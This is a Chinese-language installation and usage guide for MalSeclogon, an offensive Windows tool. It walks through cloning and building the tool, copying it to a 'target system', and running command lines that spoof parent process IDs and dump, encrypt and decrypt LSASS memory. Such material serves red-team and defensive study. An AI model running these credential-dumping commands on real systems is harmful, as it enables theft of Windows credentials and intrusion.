MalSeclogon 项目下载与安装教程

1. 项目介绍

MalSeclogon 是一款针对 Windows 系统的安全工具，它可以通过 Seclogon 服务进行一些高级操作，如进程 PPID（父进程 ID）的伪装、LSASS（本地安全授权服务）的转储等。该项目旨在帮助安全研究员和专业人士进行系统安全分析。

2. 项目下载位置

该项目托管在 GitHub 上，下载位置为：https://github.com/antonioCoco/MalSeclogon.git

3. 项目安装环境配置

在开始安装之前，请确保您的系统环境满足以下要求：

• 操作系统：Windows
• 开发环境：Visual Studio（推荐版本为 2019 或以上）

以下是环境配置的步骤：

步骤 1：安装 Visual Studio

• 下载并安装 Visual Studio，确保在选择工作负载时包含了 “C++ 桌面开发”。
• 安装完成后，打开 Visual Studio 并进行必要的配置。

步骤 2：克隆项目

• 打开命令提示符或 Git Bash。
• 克隆项目到本地目录：

  git clone https://github.com/antonioCoco/MalSeclogon.git
  

• 进入项目目录：

  cd MalSeclogon
  

步骤 3：构建项目

• 在 Visual Studio 中打开 .sln 文件。
• 选择正确的配置（推荐使用 “Release x64”）。
• 构建项目。

4. 项目安装方式

• 构建完成后，项目生成的可执行文件位于项目的 Release 目录中。
• 将该可执行文件复制到目标系统中即可使用。

5. 项目处理脚本

以下是项目的一些基本使用示例：

• 运行一个具有伪装 PPID 的进程：

  MalSeclogon.exe -p [PPID] -c cmd.exe
  

• 通过使用泄露的句柄转储 LSASS：

  MalSeclogon.exe -d 1
  

• 通过克隆 LSASS 进程转储 LSASS：

  MalSeclogon.exe -d 2
  

• 通过 XOR 密钥窃取 Seclogon 的句柄并转储 LSASS：

  MalSeclogon.exe -d 3 -o C:\lsass.dmp -k 40
  

• 解密一个加密的 LSASS 转储文件：

  MalSeclogon.exe -f C:\lsass.dmp -k 40
  

请注意，以上操作需在具有相应权限的环境中执行，并且仅供学习和研究使用。